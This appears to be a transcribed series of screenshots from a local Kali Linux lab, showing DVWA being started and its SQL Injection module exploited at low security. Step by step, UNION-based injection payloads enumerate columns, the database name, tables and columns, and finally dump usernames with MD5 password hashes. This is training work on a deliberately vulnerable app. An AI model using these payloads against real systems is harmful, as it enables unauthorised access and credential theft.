Kali-Linux [Running] - Oracle VirtualBox

File Machine View Input Devices Help

Apps Places Feb 6 10:46 24% 43% 32 kB 486 kB

kmit@kali: ~

```
┌──(kmit㉿kali)-[~]
└─$ sudo service apache2 start
[sudo] password for kmit:

┌──(kmit㉿kali)-[~]
└─$ sudo service mysql start

┌──(kmit㉿kali)-[~]
└─$ sudo dvwa-start

┌──(kmit㉿kali)-[~]
└─$
```

Right Ctrl

Kali-Linux [Running] - Oracle VirtualBox

File Machine View Input Devices Help

Apps Places Feb 6 10:47 4% 43% 0.1 kB 9.3 kB

about:sessionrestore | Login :: Damn Vulnerable

http://127.0.0.1:42001/login.php

Import bookmarks... OffSec Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB

DVWA

Username

Password

Login

Damn Vulnerable Web Application (DVWA)

Right Ctrl

Kali-Linux [Running] - Oracle VirtualBox

File Machine View Input Devices Help

Apps Places Feb 6 10:50 4% 43% 0.0 kB 2.6 kB

about:sessionrestore | Welcome :: Damn Vulner

http://127.0.0.1:42001/index.php

Import bookmarks... OffSec Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB

DVWA

- Home
- Instructions
- Setup / Reset DB

- Brute Force
- Command Injection
- CSRF
- File Inclusion
- File Upload
- Insecure CAPTCHA
- SQL Injection
- SQL Injection (Blind)
- Weak Session IDs
- XSS (DOM)
- XSS (Reflected)
- XSS (Stored)

Welcome to Damn Vulnerable Web Application!

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and to aid both students & teachers to learn about web application security in a controlled class room environment.

The aim of DVWA is to **practice some of the most common web vulnerabilities**, with **various levels of difficultly**, with a simple straightforward interface.

General Instructions

It is up to the user how they approach DVWA. Either by working through every module at a fixed level, or selecting any module and working up to reach the highest level they can before moving onto the next one. There is not a fixed object to complete a module; however users should feel that they have successfully exploited the system as best as they possible could by using that particular vulnerability.

Please note, there are **both documented and undocumented vulnerabilities** with this software. This is intentional. You are encouraged to try and discover as many issues as possible.

There is a help button at the bottom of each page, which allows you to view hints & tips for that vulnerability. There are also additional links for further background reading, which relates to that security issue.

WARNING!

Right Ctrl

Kali-Linux [Running] - Oracle VirtualBox

File Machine View Input Devices Help

Apps Places Feb 6 10:59

about:sessionrestore | Setup :: Damn Vulnerabl

http://127.0.0.1:42001/setup.php

Import bookmarks... OffSec Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google H

Setup / Reset DB

Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass
JavaScript
Authorisation Bypass
Open HTTP Redirect
Cryptography

DVWA Security

If the database already exists, **it will be cleared and the data will be reset**.
You can also use this to reset the administrator credentials ("**admin** // **password**") at any stag

Setup Check

Web Server SERVER_NAME:

Operating system: ***nix**

PHP version: **8.4.16**
PHP function display_errors: **Disabled**
PHP function display_startup_errors: **Disabled**
PHP function allow_url_include: **Disabled**
PHP function allow_url_fopen: Enabled
PHP module gd: Installed
PHP module mysql: Installed
PHP module pdo_mysql: Installed

Backend database: **MySQL/MariaDB**
Database username: **dvwa**
Database password: ******
Database database: **dvwa**
Database host: **127.0.0.1**
Database port: **3306**

reCAPTCHA key: **Missing**

Writable folder /var/lib/dvwa/uploads/: Yes
Writable folder /etc/dvwa/config: Yes

Status in red, *indicate there will be an issue when trying to complete some modules.*

Right Ctrl

DVWA

- Home
- Instructions
- Setup / Reset DB

- Brute Force
- Command Injection
- CSRF
- File Inclusion
- File Upload
- Insecure CAPTCHA
- SQL Injection
- SQL Injection (Blind)
- Weak Session IDs
- XSS (DOM)
- XSS (Reflected)
- XSS (Stored)
- CSP Bypass
- JavaScript

- DVWA Security
- PHP Info
- About

- Logout

Vulnerability: SQL Injection

User ID: [ ] Submit

```
ID: 1' ORDER BY 1--  -
First name: admin
Surname: admin
```

More Information

- http://www.securiteam.com/securityreviews/5DP0N1P76E.html
- https://en.wikipedia.org/wiki/SQL_injection
- http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- https://www.owasp.org/index.php/SQL_Injection
- http://bobby-tables.com/

Username: admin
Security Level: low
PHPIDS: disabled

View Source | View Help

DVWA

- Home
- Instructions
- Setup / Reset DB

- Brute Force
- Command Injection
- CSRF
- File Inclusion
- File Upload
- Insecure CAPTCHA
- SQL Injection
- SQL Injection (Blind)
- Weak Session IDs
- XSS (DOM)
- XSS (Reflected)
- XSS (Stored)
- CSP Bypass
- JavaScript

- DVWA Security
- PHP Info
- About

- Logout

Vulnerability: SQL Injection

User ID: [ ] Submit

```
ID: 1' ORDER BY 2--  -
First name: admin
Surname: admin
```

More Information

- http://www.securiteam.com/securityreviews/5DP0N1P76E.html
- https://en.wikipedia.org/wiki/SQL_injection
- http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- https://www.owasp.org/index.php/SQL_Injection
- http://bobby-tables.com/

Username: admin
Security Level: low
PHPIDS: disabled

View Source | View Help

DVWA

- Home
- Instructions
- Setup / Reset DB

- Brute Force
- Command Injection
- CSRF
- File Inclusion
- File Upload
- Insecure CAPTCHA
- SQL Injection
- SQL Injection (Blind)
- Weak Session IDs
- XSS (DOM)
- XSS (Reflected)
- XSS (Stored)
- CSP Bypass
- JavaScript

- DVWA Security
- PHP Info
- About

- Logout

Vulnerability: SQL Injection

User ID: 1' UNION SELECT 1,2 Submit

```
ID: 1' UNION SELECT 1,2-- -
First name: admin
Surname: admin

ID: 1' UNION SELECT 1,2-- -
First name: 1
Surname: 2
```

More Information

- http://www.securiteam.com/securityreviews/5DP0N1P76E.html
- https://en.wikipedia.org/wiki/SQL_injection
- http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- https://www.owasp.org/index.php/SQL_Injection
- http://bobby-tables.com/

Username: admin
Security Level: low
PHPIDS: disabled

View Source | View Help

DVWA

- Home
- Instructions
- Setup / Reset DB

- Brute Force
- Command Injection
- CSRF
- File Inclusion
- File Upload
- Insecure CAPTCHA
- SQL Injection
- SQL Injection (Blind)
- Weak Session IDs
- XSS (DOM)
- XSS (Reflected)
- XSS (Stored)
- CSP Bypass
- JavaScript

- DVWA Security
- PHP Info
- About

- Logout

Vulnerability: SQL Injection

User ID: Submit

```
ID: 1' UNION SELECT database(),2-- -
First name: admin
Surname: admin

ID: 1' UNION SELECT database(),2-- -
First name: dvwa
Surname: 2
```

More Information

- http://www.securiteam.com/securityreviews/5DP0N1P76E.html
- https://en.wikipedia.org/wiki/SQL_injection
- http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- https://www.owasp.org/index.php/SQL_Injection
- http://bobby-tables.com/

Username: admin
Security Level: low
PHPIDS: disabled

View Source | View Help

DVWA

Home
Instructions
Setup / Reset DB

Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass
JavaScript

DVWA Security
PHP Info
About

Logout

Vulnerability: SQL Injection

User ID: Submit

```
ID: 1' UNION SELECT 2,2-- -
First name: admin
Surname: admin

ID: 1' UNION SELECT 2,2-- -
First name: 2
Surname: 2
```

More Information

- http://www.securiteam.com/securityreviews/5DP0N1P76E.html
- https://en.wikipedia.org/wiki/SQL_injection
- http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- https://www.owasp.org/index.php/SQL_Injection
- http://bobby-tables.com/

Username: admin
Security Level: low
PHPIDS: disabled

View Source | View Help

DVWA

Home
Instructions
Setup / Reset DB

Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass
JavaScript

DVWA Security
PHP Info
About

Logout

Vulnerability: SQL Injection

User ID: Submit

```
ID: ' UNION SELECT column_name,2  FROM information_schema.columns  WHERE table_name='users'-- -
First name: user_id
Surname: 2

ID: ' UNION SELECT column_name,2  FROM information_schema.columns  WHERE table_name='users'-- -
First name: first_name
Surname: 2

ID: ' UNION SELECT column_name,2  FROM information_schema.columns  WHERE table_name='users'-- -
First name: last_name
Surname: 2

ID: ' UNION SELECT column_name,2  FROM information_schema.columns  WHERE table_name='users'-- -
First name: user
Surname: 2

ID: ' UNION SELECT column_name,2  FROM information_schema.columns  WHERE table_name='users'-- -
First name: password
Surname: 2

ID: ' UNION SELECT column_name,2  FROM information_schema.columns  WHERE table_name='users'-- -
First name: avatar
Surname: 2

ID: ' UNION SELECT column_name,2  FROM information_schema.columns  WHERE table_name='users'-- -
First name: last_login
Surname: 2

ID: ' UNION SELECT column_name,2  FROM information_schema.columns  WHERE table_name='users'-- -
First name: failed_login
Surname: 2
```

More Information

- http://www.securiteam.com/securityreviews/5DP0N1P76E.html
- https://en.wikipedia.org/wiki/SQL_injection
- http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- https://www.owasp.org/index.php/SQL_Injection
- http://bobby-tables.com/

DVWA

Home
Instructions
Setup / Reset DB

Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass
JavaScript

DVWA Security
PHP Info
About

Logout

Vulnerability: SQL Injection

User ID: Submit

```
ID: ' UNION SELECT table_name,2  FROM information_schema.tables  WHERE table_schema=database()-- -
First name: guestbook
Surname: 2

ID: ' UNION SELECT table_name,2  FROM information_schema.tables  WHERE table_schema=database()-- -
First name: users
Surname: 2
```

More Information

- http://www.securiteam.com/securityreviews/5DP0N1P76E.html
- https://en.wikipedia.org/wiki/SQL_injection
- http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- https://www.owasp.org/index.php/SQL_Injection
- http://bobby-tables.com/

Username: admin
Security Level: low
PHPIDS: disabled

View Source | View Help

DVWA

Home
Instructions
Setup / Reset DB

Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass
JavaScript

DVWA Security
PHP Info
About

Logout

Vulnerability: SQL Injection

User ID: Submit

```
ID: ' UNION SELECT table_name,2  FROM information_schema.tables  WHERE table_schema=database()-- -
First name: guestbook
Surname: 2

ID: ' UNION SELECT table_name,2  FROM information_schema.tables  WHERE table_schema=database()-- -
First name: users
Surname: 2
```

More Information

- http://www.securiteam.com/securityreviews/5DP0N1P76E.html
- https://en.wikipedia.org/wiki/SQL_injection
- http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- https://www.owasp.org/index.php/SQL_Injection
- http://bobby-tables.com/

Username: admin
Security Level: low
PHPIDS: disabled

View Source | View Help

localhost/vulnerabilities/sqli/?id=%27+UNION+SELECT+user%2Cpassword++FROM+users--+-&Submit=Submit#

DVWA

- Home
- Instructions
- Setup / Reset DB

- Brute Force
- Command Injection
- CSRF
- File Inclusion
- File Upload
- Insecure CAPTCHA
- SQL Injection
- SQL Injection (Blind)
- Weak Session IDs
- XSS (DOM)
- XSS (Reflected)
- XSS (Stored)
- CSP Bypass
- JavaScript

- DVWA Security
- PHP Info
- About

- Logout

Vulnerability: SQL Injection

User ID: Submit

```
ID: ' UNION SELECT user,password  FROM users-- -
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user,password  FROM users-- -
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user,password  FROM users-- -
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user,password  FROM users-- -
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user,password  FROM users-- -
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

More Information

- http://www.securiteam.com/securityreviews/5DP0N1P76E.html
- https://en.wikipedia.org/wiki/SQL_injection
- http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- https://www.owasp.org/index.php/SQL_Injection
- http://bobby-tables.com/

Username: admin
Security Level: low
PHPIDS: disabled

View Source | View Help

Damn Vulnerable Web Application (DVWA) v1.10 "Development"

localhost/vulnerabilities/sqli/?id=1%27+ORDER+BY+3--++-&Submit=Submit#

```
Unknown column '3' in 'order clause'
```